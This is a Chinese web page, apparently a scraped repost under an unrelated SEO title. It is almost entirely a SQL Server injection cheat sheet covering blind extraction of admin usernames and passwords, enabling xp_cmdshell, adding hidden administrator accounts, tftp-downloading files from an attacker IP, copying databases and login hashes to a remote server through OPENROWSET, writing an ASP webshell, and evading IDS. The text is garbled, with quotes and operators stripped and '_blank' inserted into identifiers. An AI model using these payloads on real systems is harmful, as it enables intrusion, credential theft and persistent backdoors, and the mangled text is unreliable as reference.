谷歌在线搜索免费seo教程资源
web/
2025/10/8 15:12:04/
文章来源:
谷歌在线搜索,免费seo教程资源,如何免费建立网站,wordpress添加侧边栏的轮播图1.判断有无注入点; and 11 and 12 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0(select count(*) from *)and 0(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页…1.判断有无注入点; and 11 and 12 2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0(select count(*) from *)and 0(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个and 0(select count(*) from admin)and 1(select count(*) from admin)4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.and 1(select count(*) from admin where len(*)0)--and 1(select count(*) from admin where len(用户字段名称name)0) and 1(select count(*) from admin where len(_blank密码字段名称password)0) 5.猜解各个字段的长度 猜解长度就是把0变换 直到返回正确页面为止and 1(select count(*) from admin where len(*)0) and 1(select count(*) from admin where len(name)6) 错误and 1(select count(*) from admin where len(name)5) 正确 长度是6and 1(select count(*) from admin where len(name)6) 正确and 1(select count(*) from admin where len(password)11) 正确and 1(select count(*) from admin where len(password)12) 错误 长度是12and 1(select count(*) from admin where len(password)12) 正确6.猜解字符and 1(select count(*) from admin where left(name,1)a) ---猜解用户帐号的第一位and 1(select count(*) from admin where left(name,2)ab)---猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1(select top 1 count(*) from Admin where Asc(mid(pass,5,1))51) -- 这个查询语句可以猜解中文的用户和_blank密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.group by users.id having 11-- group by users.id, users.username, users.password, users.privs having 11--; insert into users values( 666, attacker, foobar, 0xffff )--UNION SELECT TOP 1 COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank_NAMElogintable- UNION SELECT TOP 1 COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank_NAMElogintable WHERE COLUMN_blank_NAME NOT IN (login_blank_id)- UNION SELECT TOP 1 COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank_NAMElogintable WHERE COLUMN_blank_NAME NOT IN (login_blank_id,login_blank_name)- UNION SELECT TOP 1 login_blank_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank_nameRahul-- 看_blank服务器打的补丁出错了打了SP4补丁and 1(select VERSION)--看_blank数据库连接账号的权限返回正常证明是_blank服务器角色sysadmin权限。and 1(SELECT IS_blank_SRVROLEMEMBER(sysadmin))--判断连接_blank数据库帐号。采用SA账号连接 返回正常证明了连接账号是SAand sa(SELECT System_blank_user)--and user_blank_name()dbo--and 0(select user_blank_name()--看xp_blank_cmdshell是否删除and 1(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype X AND name xp_blank_cmdshell)--xp_blank_cmdshell被删除恢复,支持绝对路径的恢复;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,xplog70.dll--;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,c:inetpubwwwrootxplog70.dll--反向PING自己实验;use master;declare s int;exec sp_blank_oacreate wscript.shell,s out;exec sp_blank_oamethod s,run,NULL,cmd.exe /c ping 192.168.0.1;-- 加帐号;DECLARE shell INT EXEC SP_blank_OACREATE wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add--创建一个虚拟目录E盘 ;declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o, run, NULL, cscript.exe cinetpubwwwrootmkwebdir.vbs -w 默认Web站点 -v e,e--访问属性配合写入一个webshell declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o, run, NULL, cscript.exe cinetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e browse爆库 特殊_blank技巧:%5c 或者把/和 修改%5提交 and 0(select top 1 paths from newtable)-- 得到库名从1到5都是系统的id6以上才可以判断and 1(select name from master.dbo.sysdatabases where dbid7)--and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid6) 依次提交 dbid 7,8,9.... 得到更多的_blank数据库名and 0(select top 1 name from bbs.dbo.sysobjects where xtypeU) 暴到一个表 假设为 admin and 0(select top 1 name from bbs.dbo.sysobjects where xtypeU and name not in (Admin)) 来得到其他的表。 and 0(select count(*) from bbs.dbo.sysobjects where xtypeU and nameadmin and uid(str(id))) 暴到UID的数值假设为18779569 uidid and 0(select top 1 name from bbs.dbo.syscolumns where id18779569) 得到一个admin的一个字段,假设为 user_blank_id and 0(select top 1 name from bbs.dbo.syscolumns where id18779569 and name not in (id,...)) 来暴出其他的字段 and 0(select user_blank_id from BBS.dbo.admin where username1) 可以得到用户名 依次可以得到_blank密码。。。。。假设存在user_blank_id username ,password 等字段 and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid6) and 0(select top 1 name from bbs.dbo.sysobjects where xtypeU) 得到表名 and 0(select top 1 name from bbs.dbo.sysobjects where xtypeU and name not in(Address)) and 0(select count(*) from bbs.dbo.sysobjects where xtypeU and nameadmin and uid(str(id))) 判断id值 and 0(select top 1 name from BBS.dbo.syscolumns where id773577794) 所有字段 ?id-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (unionaccess也好用)得到WEB路径;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)1--;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare test varchar(20) exec master..xp_blank_regread rootkeyHKEY_blank_LOCAL_blank_MACHINE, keySYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, value_blank_name/, valuestest OUTPUT insert into paths(path) values(test)--;use ku1;-- ;create table cmd (str image);-- 建立image类型的表cmd存在xp_blank_cmdshell的测试过程 ;exec master..xp_blank_cmdshell dir ;exec master.dbo.sp_blank_addlogin jiaoniang$;-- 加SQL帐号;exec master.dbo.sp_blank_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_blank_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_blank_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_blank_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp_blank_servicecontrol start, schedule 启动_blank服务exec master..xp_blank_servicecontrol start, server ; DECLARE shell INT EXEC SP_blank_OACREATE wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, CWINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE shell INT EXEC SP_blank_OACREATE wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, CWINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master..xp_blank_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件;declare a sysname set axp_blank_cmdshell exec a dir c: ;declare a sysname set axp_blank_cm’’dshell exec a dir c: ;declare a;set adb_blank_name();backup database a to disk你的IP你的共享目录bak.dat如果被限制则可以。 select * from openrowset(_blanksqloledb,server;sa;,select OK! exec master.dbo.sp_blank_addlogin hax)查询构造 SELECT * FROM news WHERE id... AND topic... AND ..... adminand 1(select count(*) from [user] where usernamevictim and right(left(userpass,01),1)1) and userpass select 123;-- ;use master;-- :a or name like fff%;-- 显示有一个叫ffff的用户哈。 and 1(select count(email) from [user]);-- ;update [users] set email(select top 1 name from sysobjects where xtypeu and status0) where nameffff;-- ;update [users] set email(select top 1 id from sysobjects where xtypeu and namead) where nameffff;-- ;update [users] set email(select top 1 name from sysobjects where xtypeu and id581577110) where nameffff;-- ;update [users] set email(select top 1 count(id) from password) where nameffff;-- ;update [users] set email(select top 1 pwd from password where id2) where nameffff;-- ;update [users] set email(select top 1 name from password where id2) where nameffff;-- 上面的语句是得到_blank数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字insert into users values( 666, char(0x63)char(0x68)char(0x72)char(0x69)char(0x73), char(0x63)char(0x68)char(0x72)char(0x69)char(0x73), 0xffff)--insert into users values( 667,123,123,0xffff)--insert into users values ( 123, admin--, password, 0xffff)--;and user0 ;and (select count(*) from sysobjects)0 ;and (select count(*) from mysysobjects)0 //为access_blank数据库 枚举出数据表名;update aaa set aaa(select top 1 name from sysobjects where xtypeu and status0);--这是将第一个表名更新到aaa的字段处。 读出第一个表第二个表可以这样读出来在条件后加上 and name刚才得到的表名。 ;update aaa set aaa(select top 1 name from sysobjects where xtypeu and status0 and namevote);-- 然后id1552 and exists(select * from aaa where aaa5) 读出第二个表一个个的读出直到没有为止。 读字段是这样 ;update aaa set aaa(select top 1 col_blank_name(object_blank_id(表名),1));-- 然后id152 and exists(select * from aaa where aaa5)出错得到字段名 ;update aaa set aaa(select top 1 col_blank_name(object_blank_id(表名),2));-- 然后id152 and exists(select * from aaa where aaa5)出错得到字段名 [获得数据表名][将字段值更新为表名再想法读出这个字段的值就可得到表名] update 表名 set 字段(select top 1 name from sysobjects where xtypeu and status0 [ and name你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtypeu and status0 and name not in(table1,table2,…) 通过SQLSERVER注入_blank漏洞建_blank数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] [获得数据表字段名][将字段值更新为字段名再想法读出这个字段的值就可得到字段名] update 表名 set 字段(select top 1 col_blank_name(object_blank_id(要查询的数据表名),字段列如:1) [ where 条件] 绕过IDS的检测[使用变量] ;declare a sysname set axp_blank_cmdshell exec a dir c: ;declare a sysname set axp_blank_cm’’dshell exec a dir c: 1、 开启远程_blank数据库 基本语法 select * from OPENROWSET(SQLOLEDB, serverservername;uidsa;pwd123, select * from table1 ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何端口用来连接,比如 select * from OPENROWSET(SQLOLEDB, uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;, select * from table3.复制目标主机的整个_blank数据库insert所有远程表到本地表。基本语法 insert into OPENROWSET(SQLOLEDB, serverservername;uidsa;pwd123, select * from table1) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程_blank数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口指向需要的地方比如 insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from _blank_sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from _blank_sysobjects) select * from user_blank_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from _blank_syscolumns) select * from user_blank_database.dbo.syscolumns 复制_blank数据库 insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from table2) select * from database..table2 复制哈西表HASH登录_blank密码的hash存储于sysxlogins中。方法如下 insert into OPENROWSET(SQLOLEDB, uidsa;pwd123;NetworkDBMSSOCN;Address192.168.0.1,1433;,select * from _blank_sysxlogins) select * from database.dbo.sysxlogins 得到hash之后就可以进行暴力破解。遍历目录的方法 先创建一个临时表temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_blank_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_blank_subdirs c:;-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id) exec master.dbo.xp_blank_cmdshell type c:webindex.asp;-- 查看某个文件的内容 ;insert into temp(id) exec master.dbo.xp_blank_cmdshell dir c:;-- ;insert into temp(id) exec master.dbo.xp_blank_cmdshell dir c: *.asp /s/a;-- ;insert into temp(id) exec master.dbo.xp_blank_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc ;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:;-- xp_blank_dirtree适用权限PUBLIC 写入表 语句1and 1(SELECT IS_blank_SRVROLEMEMBER(sysadmin));-- 语句2and 1(SELECT IS_blank_SRVROLEMEMBER(serveradmin));-- 语句3and 1(SELECT IS_blank_SRVROLEMEMBER(setupadmin));-- 语句4and 1(SELECT IS_blank_SRVROLEMEMBER(securityadmin));-- 语句5and 1(SELECT IS_blank_SRVROLEMEMBER(securityadmin));-- 语句6and 1(SELECT IS_blank_SRVROLEMEMBER(diskadmin));-- 语句7and 1(SELECT IS_blank_SRVROLEMEMBER(bulkadmin));-- 语句8and 1(SELECT IS_blank_SRVROLEMEMBER(bulkadmin));-- 语句9and 1(SELECT IS_blank_MEMBER(db_blank_owner));-- 把路径写到表中去 ;create table dirs(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_blank_dirtree c:--and 0(select top 1 paths from dirs)--and 0(select top 1 paths from dirs where paths not in(Inetpub))--;create table dirs1(paths varchar(100), id int)-- ;insert dirs exec master.dbo.xp_blank_dirtree e:web-- and 0(select top 1 paths from dirs1)--把_blank数据库备份到网页目录下载 ;declare a sysname; set adb_blank_name();backup database a to diske:webdown.bak;-- and 1(Select top 1 name from(Select top 12 id,name from sysobjects where xtypechar(85)) T order by id desc) and 1(Select Top 1 col_blank_name(object_blank_id(USER_blank_LOGIN),1) from sysobjects) 参看相关表。 and 1(select user_blank_id from USER_blank_LOGIN) and 0(select user from USER_blank_LOGIN where user1) -- wscript.shell example --declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o, run, NULL, notepad.exe ; declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o, run, NULL, notepad.exe-- declare o int, f int, t int, ret int declare line varchar(8000) exec sp_blank_oacreate scripting.filesystemobject, o out exec sp_blank_oamethod o, opentextfile, f out, c:boot.ini, 1 exec ret sp_blank_oamethod f, readline, line out while( ret 0 ) begin print line exec ret sp_blank_oamethod f, readline, line out end declare o int, f int, t int, ret int exec sp_blank_oacreate scripting.filesystemobject, o out exec sp_blank_oamethod o, createtextfile, f out, c:inetpubwwwrootfoo.asp, 1 exec ret sp_blank_oamethod f, writeline, NULL, % set o server.createobject(wscript.shell): o.run( request.querystring(cmd) ) % declare o int, ret int exec sp_blank_oacreate speech.voicetext, o out exec sp_blank_oamethod o, register, NULL, foo, bar exec sp_blank_oasetproperty o, speed, 150 exec sp_blank_oamethod o, speak, NULL, all your sequel servers are belong to,us, 528 waitfor delay 00:00:05 ; declare o int, ret int exec sp_blank_oacreate speech.voicetext, o out exec sp_blank_oamethod o, register, NULL, foo, bar exec sp_blank_oasetproperty o, speed, 150 exec sp_blank_oamethod o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- xp_blank_dirtree适用权限PUBLICexec master.dbo.xp_blank_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型depth字段是整形字段。create table dirs(paths varchar(100), id int)建表这里建的表是和上面xp_blank_dirtree相关连字段相等、类型相同。insert dirs exec master.dbo.xp_blank_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行达到写表的效果,一步步达到我们想要的信息
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/89117.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!